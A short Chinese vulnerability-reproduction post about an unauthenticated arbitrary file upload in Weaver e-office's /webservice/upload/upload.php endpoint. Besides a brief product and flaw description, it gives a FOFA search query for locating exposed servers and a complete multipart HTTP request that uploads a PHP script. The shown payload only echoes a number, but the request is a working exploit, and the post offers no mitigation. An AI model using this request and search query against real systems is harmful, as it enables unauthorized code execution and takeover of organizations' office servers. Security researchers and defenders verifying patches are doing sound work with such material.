【漏洞复现】泛微OA e-office webservice 任意文件上传漏洞

0x01 产品简介

泛微e-office是泛微旗下的一款标准协同移动办公平台。主要面向中小企业,平台全方位覆盖日常办公场景,可以有效提升组织管理与协同效率。

0x02 漏洞概述

泛微e-office /webservice/upload/upload.php接口存在任意文件上传漏洞。未收取的攻击者可以通过该漏洞上传恶意脚本文件，从而控制服务器。

0x03 测绘语句

fofa: body="eoffice"

0x04 漏洞复现

1、上传文件：

POST /webservice/upload/upload.php HTTP/1.1

Host:

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryybgofwiy



------WebKitFormBoundaryybgofwiy

Content-Disposition: form-data; name="file"; filename="321.php"

Content-Type: application/octet-stream



<?php echo 123;?>

------WebKitFormBoundaryybgofwiy--